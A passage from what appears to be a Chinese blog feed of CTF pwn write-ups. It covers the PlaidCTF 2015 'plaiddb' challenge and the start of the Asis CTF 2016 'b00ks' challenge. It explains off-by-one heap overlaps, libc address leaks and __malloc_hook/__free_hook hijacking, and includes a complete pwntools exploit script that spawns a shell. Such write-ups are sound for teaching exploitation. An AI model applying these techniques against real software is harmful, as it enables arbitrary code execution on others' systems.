b&#39;fillup&#39;)</code> 将其分配掉：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb21.png" alt="【plaidctf 2015】plaiddb21.png"></p><p>此时合并的 <code>chunk</code> 被置于 <code>large bin</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb22.png" alt="【plaidctf 2015】plaiddb22.png"></p><blockquote><p>为了泄露 libc 基地址，我们可以利用 <code>unsorted bin</code> 的特性，打印其 <code>bk</code> 指针</p><p>首先，我们需要利用此时 <code>chunk 2</code> 与合并的 <code>chunk</code> 重叠的特点，利用 <code>unsorted bin</code> 来修改 <code>chunk 2</code> 的指针</p></blockquote><p>因此，我们先通过 <code>PUT(b&#39;0x200 fillup&#39;, 0x200, b&#39;fillup again&#39;)</code> 从 <code>large bin</code> 中将之前的 <code>chunk 1</code> 的空间分配掉：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb23.png" alt="【plaidctf 2015】plaiddb23.png"></p><p>此时 <code>chunk 2</code> 处于 <code>unsorted bin</code> 的第一个位置，其指针已被 <code>unsorted bin</code> 修改</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb24.png" alt="【plaidctf 2015】plaiddb24.png"></p><p>于是我们只需 <code>GET(b&#39;2&#39;)</code> 就可以在 <code>data_size</code> 输出的位置输出 <code>bk</code> 指针：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb25.png" alt="【plaidctf 2015】plaiddb25.png"></p><p><code>bk</code> 指针指向 <code>main_arena + 88</code> 的位置，根据 <code>main_arena</code> 与 <code>__malloc_hook</code> 存在固定偏移 <code>0x10</code>，利用 <code>__malloc_hook</code> 在 libc 中的偏移即可得到 libc 基地址：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb26.png" alt="【plaidctf 2015】plaiddb26.png"></p><p>由于前面我们已经释放了 <code>chunk 1</code>、<code>chunk 3</code>、<code>chunk 4</code>，只剩 <code>chunk 2</code> 和 <code>chunk 5</code> 可以利用了，此时 <code>unsorted bin</code> 距离 <code>chunk 5</code> 正好 <code>0x5586e425b950 - 0x5586e425b900 = 0x50</code></p><p>于是填充 <code>0x58</code> 就可以修改 <code>chunk 5</code> 的 <code>size</code> 域和 <code>fd</code>，即可控制下一个 <code>fast bin</code> 的位置</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb27.png" alt="【plaidctf 2015】plaiddb27.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb28.png" alt="【plaidctf 2015】plaiddb28.png"></p><p>然后进行 fast bin attack：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb29.png" alt="【plaidctf 2015】plaiddb29.png"></p><p>劫持 <code>__malloc_hook</code> 为 one_gadget：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb30.png" alt="【plaidctf 2015】plaiddb30.png"></p><p>这样看得更清楚：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb31.png" alt="【plaidctf 2015】plaiddb31.png"></p><p>最后执行一次 <code>DEL()</code></p><p>利用 <code>sub_1040()</code> 函数中的 <code>malloc(8)</code> 触发 one_gadget 即可获得 shell</p><hr><h1 id="脚本"><a href="#脚本" class="headerlink" title="脚本"></a>脚本</h1><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token comment"># 设置系统架构, 打印调试信息</span><span class="token comment"># arch 可选 : i386 / amd64 / arm / mips</span>context<span class="token punctuation">(</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span> log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">)</span><span class="token comment"># PWN 远程 : content = 0, PWN 本地 : content = 1</span>content <span class="token operator">=</span> <span class="token number">1</span>libc <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'/lib/x86_64-linux-gnu/libc.so.6'</span><span class="token punctuation">)</span> <span class="token comment"># ubuntu 16.04 Glibc 2.23</span><span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>    <span class="token comment"># 将本地的 Linux 程序启动为进程 io</span>    io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">'./datastore'</span><span class="token punctuation">)</span><span class="token comment"># 附加 gdb 调试</span><span class="token keyword">def</span> <span class="token function">debug</span><span class="token punctuation">(</span>cmd<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>  <span class="token comment"># 只有本地才可调试，远程无法调试</span>        gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>io<span class="token punctuation">,</span> cmd<span class="token punctuation">)</span>        pause<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">PUT</span><span class="token punctuation">(</span>row_key<span class="token punctuation">,</span> size<span class="token punctuation">,</span> data<span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">'command:\n'</span><span class="token punctuation">,</span> <span class="token string">b'PUT'</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">'key:\n'</span><span class="token punctuation">,</span> row_key<span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">'size:\n'</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>size<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> <span class="token builtin">len</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span> <span class="token operator">&lt;</span> size<span class="token punctuation">:</span>        data <span class="token operator">=</span> data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span>size<span class="token punctuation">,</span> <span class="token string">b'\x00'</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendafter<span class="token punctuation">(</span><span class="token string">'data:\n'</span><span class="token punctuation">,</span> data<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">DEL</span><span class="token punctuation">(</span>row_key<span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">'command:\n'</span><span class="token punctuation">,</span> <span class="token string">'DEL'</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">'key:\n'</span><span class="token punctuation">,</span> row_key<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">GET</span><span class="token punctuation">(</span>row_key<span class="token punctuation">)</span><span class="token punctuation">:</span>    io<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">'command:\n'</span><span class="token punctuation">,</span> <span class="token string">'GET'</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">'key:\n'</span><span class="token punctuation">,</span> row_key<span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">'['</span><span class="token punctuation">)</span>    num <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b' bytes'</span><span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token string">b' bytes'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">':\n'</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span>num<span class="token punctuation">)</span><span class="token comment"># 相关函数实现的时候用到了一些 0x38 大小的块，避免影响我们提前搞一些</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    PUT<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">0x38</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    DEL<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>PUT<span class="token punctuation">(</span><span class="token string">b'1'</span><span class="token punctuation">,</span> <span class="token number">0x200</span><span class="token punctuation">,</span> <span class="token string">b'1'</span><span class="token punctuation">)</span>   <span class="token comment"># 设置的大一些，后面分配的时候会优先将其分配出去，但分配的过大就不会物理相连了，实测绕不开后面的问题</span>PUT<span class="token punctuation">(</span><span class="token string">b'2'</span><span class="token punctuation">,</span> <span class="token number">0x50</span><span class="token punctuation">,</span> <span class="token string">b'2'</span><span class="token punctuation">)</span>    <span class="token comment"># 用来都 libc 的已分配块，表面上未分配，大小符合 fast bin 即可，暂未验证</span>PUT<span class="token punctuation">(</span><span class="token string">b'3'</span><span class="token punctuation">,</span> <span class="token number">0x68</span><span class="token punctuation">,</span> <span class="token string">b'3'</span><span class="token punctuation">)</span>    <span class="token comment"># 用来进行 fast bin attack 的块，大小应该符合 fast bin 即可，暂未验证</span>PUT<span class="token punctuation">(</span><span class="token string">b'4'</span><span class="token punctuation">,</span> <span class="token number">0x1f8</span><span class="token punctuation">,</span> <span class="token string">b'4'</span><span class="token punctuation">)</span>   <span class="token comment"># 用来溢出的块，溢出到下一个块的 pre_size 把他修改成上面全部块大小的和</span>PUT<span class="token punctuation">(</span><span class="token string">b'5'</span><span class="token punctuation">,</span> <span class="token number">0xf0</span><span class="token punctuation">,</span> <span class="token string">b'5'</span><span class="token punctuation">)</span>    <span class="token comment"># 用来被溢出的块</span>PUT<span class="token punctuation">(</span><span class="token string">b'defense'</span><span class="token punctuation">,</span> <span class="token number">0x400</span><span class="token punctuation">,</span> <span class="token string">b'defense-top chunk'</span><span class="token punctuation">)</span>   <span class="token comment"># 用来防止被 top chunk 合并</span>DEL<span class="token punctuation">(</span><span class="token string">b'3'</span><span class="token punctuation">)</span>DEL<span class="token punctuation">(</span><span class="token string">b'4'</span><span class="token punctuation">)</span>DEL<span class="token punctuation">(</span><span class="token string">b'1'</span><span class="token punctuation">)</span>DEL<span class="token punctuation">(</span><span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x1f0</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x4e0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>   <span class="token comment"># 溢出，0x4e0 = 0x200 + 0x50 + 0x68 + 0x1f8 + 0x30 (这是没有被使用的指针部分大小，三个)</span>DEL<span class="token punctuation">(</span><span class="token string">b'5'</span><span class="token punctuation">)</span>   <span class="token comment"># 合并 1 2 5 3 4 块</span>PUT<span class="token punctuation">(</span><span class="token string">b'0x200'</span><span class="token punctuation">,</span> <span class="token number">0x200</span><span class="token punctuation">,</span> <span class="token string">b'fillup'</span><span class="token punctuation">)</span>   <span class="token comment"># 这里是在 defense 块分配后导致清理碎片清理，多出来一个 0x360 的 small bin 要先把他分配掉</span>PUT<span class="token punctuation">(</span><span class="token string">b'0x200 fillup'</span><span class="token punctuation">,</span> <span class="token number">0x200</span><span class="token punctuation">,</span> <span class="token string">b'fillup again'</span><span class="token punctuation">)</span>   <span class="token comment"># 把 1 分配掉，这样 2 就是第一个块了，可以打印相关地址，泄漏 libc 基地址</span>libc_leak <span class="token operator">=</span> u64<span class="token punctuation">(</span>GET<span class="token punctuation">(</span><span class="token string">'2'</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token number">6</span><span class="token punctuation">]</span><span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">b'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'libc_leak: '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>libc_leak<span class="token punctuation">)</span><span class="token punctuation">)</span>__malloc_hook_addr <span class="token operator">=</span> libc_leak <span class="token operator">-</span> <span class="token number">88</span> <span class="token operator">-</span> <span class="token number">0x10</span>libc_base <span class="token operator">=</span> __malloc_hook_addr <span class="token operator">-</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">'__malloc_hook'</span><span class="token punctuation">]</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'libc_base: '</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>libc_base<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 这些块物理相连，a*58 之后正好是 5 块的 size 和 fd，修改即可控制下一个 fast bin 的位置</span><span class="token comment"># -0x10 是为了留出指针空间，-3 是为了把指针所指的 __malloc_hook 处的 7f 地址提前，当成 pre_size 相关内容，否则 fake_fast bin 格式不符合要求</span><span class="token comment"># debug()</span>PUT<span class="token punctuation">(</span><span class="token string">b'fastatk'</span><span class="token punctuation">,</span> <span class="token number">0x100</span><span class="token punctuation">,</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">0x58</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x71</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>__malloc_hook_addr <span class="token operator">-</span> <span class="token number">0x10</span> <span class="token operator">+</span> <span class="token number">5</span> <span class="token operator">-</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">)</span>PUT<span class="token punctuation">(</span><span class="token string">b'prepare'</span><span class="token punctuation">,</span> <span class="token number">0x68</span><span class="token punctuation">,</span> <span class="token string">b'prepare data'</span><span class="token punctuation">)</span>one_gadget <span class="token operator">=</span> libc_base <span class="token operator">+</span> <span class="token number">0x4527a</span>   <span class="token comment"># 0x45226 0x4527a 0xf03a4 0xf1247</span>PUT<span class="token punctuation">(</span><span class="token string">b'attack'</span><span class="token punctuation">,</span> <span class="token number">0x68</span><span class="token punctuation">,</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">3</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>one_gadget<span class="token punctuation">)</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">b'DEL'</span><span class="token punctuation">)</span> <span class="token comment"># malloc(8) 出发 one_gadget</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h1 id="结果"><a href="#结果" class="headerlink" title="结果"></a>结果</h1><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90plaidctf%202015%E3%80%91plaiddb32.png" alt="【plaidctf 2015】plaiddb32.png"></p>]]></content>
    
    
    <summary type="html">这道题知识点较多，漏洞利用较复杂，利用 off-by-one 漏洞造成 Overlap 来泄露 libc 基地址，并通过 fast bin attack 错位伪造 chunk 劫持 __malloc_hook 为 one_gadget 来 getshell，要求对堆的分配机制较为熟练</summary>
    
    
    
    <category term="二进制漏洞利用" scheme="https://www.uf4te.cn/categories/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    
    
    <category term="CTF" scheme="https://www.uf4te.cn/tags/CTF/"/>
    
    <category term="Pwn" scheme="https://www.uf4te.cn/tags/Pwn/"/>
    
  </entry>
  
  <entry>
    <title>【Asis CTF 2016】b00ks</title>
    <link href="https://www.uf4te.cn/posts/18c02ebd.html"/>
    <id>https://www.uf4te.cn/posts/18c02ebd.html</id>
    <published>2024-05-29T11:15:04.000Z</published>
    <updated>2025-10-29T08:20:32.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="收获"><a href="#收获" class="headerlink" title="收获"></a>收获</h1><ul><li><p>利用 off-by-one 漏洞修改指向堆的指针，并在修改后的指针指向的堆地址处伪造一个堆块</p></li><li><p><mark>利用 <code>mmap</code> 分配的内存与 libc 之前存在固定的偏移的特点，推算出 libc 的基地址</mark></p></li><li><p><mark>由于 <code>unsorted bin</code> 是双向链表，利用第一个 <code>unsorted bin</code> 的 <code>bk</code> 指针指向 libc 中的地址的特点，根据偏移得到 <code>__malloc_hook</code> 真实地址，进而通过 <code>__malloc_hook</code> 的 libc 偏移计算 libc 基地址</mark></p></li><li><p>通过劫持 <code>__free_hook</code> 为 <code>system()</code> 或 one_gadget 来获得 shell</p></li></ul><hr><p><a href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/off_by_one/Asis_2016_b00ks">【Asis CTF 2016】b00ks</a></p><hr><h1 id="思路一（mmap）"><a href="#思路一（mmap）" class="headerlink" title="思路一（mmap）"></a>思路一（mmap）</h1><blockquote><p>本地环境：Glibc 2.23</p></blockquote><p>查看保护：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks1.png" alt="【Asis CTF 2016】b00ks1.png"></p><p>IDA 下分析：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks2.png" alt="【Asis CTF 2016】b00ks2.png"></p><p>一个菜单题，根据功能选项，将相应功能的函数重命名</p><p><code>Menu()</code> 菜单：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks3.png" alt="【Asis CTF 2016】b00ks3.png"></p><p><code>Create()</code> 创建：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks5.png" alt="【Asis CTF 2016】b00ks5.png"></p><p><code>Delete()</code> 删除：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks6.png" alt="【Asis CTF 2016】b00ks6.png"></p><p><code>Edit()</code> 编辑：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks7.png" alt="【Asis CTF 2016】b00ks7.png"></p><p><code>Print()</code> 打印：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks8.png" alt="【Asis CTF 2016】b00ks8.png"></p><p><code>Change()</code> 修改作者名：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks9.png" alt="【Asis CTF 2016】b00ks9.png"></p><p>程序在刚开始执行 <code>Menu()</code> 显示菜单之前，会在 <code>Change()</code> 中先让输入作者名 <code>author name</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks4.png" alt="【Asis CTF 2016】b00ks4.png"></p><p>这里的输入由自定义的 <code>my_read()</code> 实现：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks10.png" alt="【Asis CTF 2016】b00ks10.png"></p><p>仔细观察 <code>my_read()</code> 可以发现，这里是存在漏洞的：如果我们输入的字符串长度 <code>a2 = 1</code>，实际上会读入 2 个字符，第二个字符 <code>&#39;\n&#39;</code> 会被赋值为 <code>&#39;\x00&#39;</code></p><p>作者名 <code>author name</code> 写入的地址位于 BSS 段的 <code>unk_202040</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks11.png" alt="【Asis CTF 2016】b00ks11.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks12.png" alt="【Asis CTF 2016】b00ks12.png"></p><p>在 <code>Create()</code> 中创建书时，如果已存在的书的数量 <code>v2 &lt; 20</code>（未存满），会通过 <code>malloc</code> 分配 0x20 的空间来存放书的结构</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks13.png" alt="【Asis CTF 2016】b00ks13.png"></p><p>并将 <code>malloc</code> 分配的空间首地址存储在 <code>off_202010 + v2</code> 的地方，可以看到其存放在 BSS 段的 <code>unk_202060</code> 处：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks14.png" alt="【Asis CTF 2016】b00ks14.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks16.png" alt="【Asis CTF 2016】b00ks16.png"></p><p>分析可知，书的结构包括：</p><ul><li>书的序号 <code>book_id</code></li><li>书名 <code>name</code></li><li>书的描述 <code>description</code></li><li>书的描述的大小 <code>size</code></li></ul><p>为了方便理解，用图表示出来就是这样：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks15.png" alt="【Asis CTF 2016】b00ks15.png"></p><p>上图中，橙色区域存储作者名 <code>author name</code>，绿色区域存储的是书的数组 <code>book[]</code></p><blockquote><p><strong>有多少本书就有多少个 <code>book[]</code> 数组元素，<code>book[]</code> 的每一个数组元素都是一个指针，指向堆中的一个结构体</strong></p><p>这个结构体有四个属性：书的序号 <code>book_id</code>、书名 <code>name</code>、书的描述 <code>description</code> 和书的描述的大小 <code>size</code></p></blockquote><p>由于这里 <code>unk_202040</code> 和 <code>unk_202060</code> 刚好相距 0x20，因此 <code>my_read(off_202018, 32LL)</code> 处存在 off-by-one 漏洞，刚好溢出 1 字节</p><p>为了泄露出堆中的地址，可以借助存储在 <code>unk_202060</code> 中的指针，而在 <code>Print()</code> 中会将 <code>unk_202040</code> 处存储的 <code>author name</code> 通过 <code>%s</code> 打印出来：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks17.png" alt="【Asis CTF 2016】b00ks17.png"></p><p>因此，我们首先向 <code>unk_202040</code> 写入 0x20 个字节，将空间全部填满，这样就不存在 <code>&#39;\x00&#39;</code> 截断，由于 <code>my_read()</code> 还会多写入 1 字节 <code>&#39;\x00&#39;</code> 覆盖 <code>book[0]</code> 的最低位，但是不影响，因为当我们创建 <code>book[0]</code> 的时候多出的那 1 字节 <code>&#39;\x00&#39;</code> 又会被 <code>book[0]</code> 存储的指针给覆盖掉</p><p>当我们创建好 <code>book[0]</code> 后，此时 <code>unk_202040</code> 与 <code>book[0]</code> 是直接相连的，中间不存在 <code>&#39;\x00&#39;</code> 截断，因此我们只需要调用一次 <code>Print()</code> 就可以泄露出 <code>book[0]</code> 存储的指针</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks18.png" alt="【Asis CTF 2016】b00ks18.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks19.png" alt="【Asis CTF 2016】b00ks19.png"></p><p>创建两本书进行测试，发现两个 <code>book[]</code> 存储的指针之间的偏移是 0x30：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks21.png" alt="【Asis CTF 2016】b00ks21.png"></p><p>堆中的存储结构如下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks22.png" alt="【Asis CTF 2016】b00ks22.png"></p><p>因此根据 <code>book[0]</code> 存储的指针我们可以推算出 <code>book[1]</code> 存储的指针，即：<code>book[1] = book[0] + 0x30</code></p><p>由于这个题开启了 PIE，我们暂时无法泄露 libc 的基地址</p><p>但发现 <code>Create()</code> 创建书的时候，大小是由我们控制的：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks20.png" alt="【Asis CTF 2016】b00ks20.png"></p><p>因此我们可以让堆以 <code>mmap</code> 模式进行拓展，即：设定一个很大的尺寸（大于等于 <code>128KB</code>），创建一个 <code>book[1]</code></p><blockquote><p>因为 <code>brk</code> 是直接拓展原来的堆，而 <code>mmap</code> 会单独映射一块内存</p><p><strong><code>mmap</code> 分配的内存与 libc 之前存在固定的偏移，因此可以推算出 libc 的基地址</strong></p></blockquote><p>由于我们还可以再次使用 <code>Change()</code> 功能来写入作者名 <code>author name</code>，此时如果写入 0x20 字节，则溢出的一字节 <code>&#39;\x00&#39;</code> 会直接将已有的 <code>book[0]</code> 存储的指针最低位覆盖掉，从而改变了 <code>book[0]</code> 指向堆中的地址</p><p>可以看到，原本 <code>book[0]</code> 存储的指针最低位为 <code>&#39;\x60&#39;</code>，此时已被覆盖为 <code>&#39;\x00&#39;</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks25.png" alt="【Asis CTF 2016】b00ks25.png"></p><p>进而我们可以通过 <code>Edit()</code> 功能修改 <code>book[0] -&gt; description</code> 的内容来伪造 <code>book[0]</code> 的结构体，此时伪造的 <code>book[0] -&gt; name</code> 和 <code>book[0] -&gt; description</code> 都可以由我们来定义</p><blockquote><p>注意：</p><p>由于我们覆盖了原本 <code>book[0]</code> 存储的指针最低位为 <code>&#39;\x00&#39;</code>，因此伪造的 <code>book[0]</code> 结构体首地址应该在地址最低位为 <code>&#39;\x00&#39;</code> 的地方，偏移为 0x40，因此先填充 0x40 的垃圾数据</p></blockquote><p>伪造前：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks23.png" alt="【Asis CTF 2016】b00ks23.png"></p><p>伪造后：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks24.png" alt="【Asis CTF 2016】b00ks24.png"></p><p>这里我们将伪造的 <code>book[0] -&gt; name</code> 和 <code>book[0] -&gt; description</code> 都设置为 <code>book[1]</code> 的 <code>book[1] -&gt; name</code> 的地址</p><p>因为此时我们只要能泄露 <code>book[1] -&gt; name</code> 就可以通过 <code>book[1] -&gt; name</code> 与 libc 基地址的偏移来计算出 libc 基地址了</p><p>通过 GDB 得到 <code>book[1] -&gt; name</code> 与 libc 基地址的偏移为 <code>0x5b0010</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90Asis%20CTF%202016%E3%80%91b00ks26.png" alt="【Asis CTF 2016】b00ks26.png"></p><p>利用 <code>(book[1] -&gt; name) - 0x5b0010</code> 泄露出 libc 基地址后，直接劫持 <code>__free_hook</code> 为 <code>system()</code> 地址，然后通过 <code>Delete()</code> 功能调用 <code>free()</code> 实现 <code>system(/bin/sh)</code></p><p>也可以直接劫持 <code>__free_hook</code> 为 one_gadget 来 getshell</p><hr><h1 id="脚本一"><a href="#脚本一" class="headerlink" title="脚本一"></a>脚本一</h1><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token comment"># 设置系统架构, 打印调试信息</span><span class="token 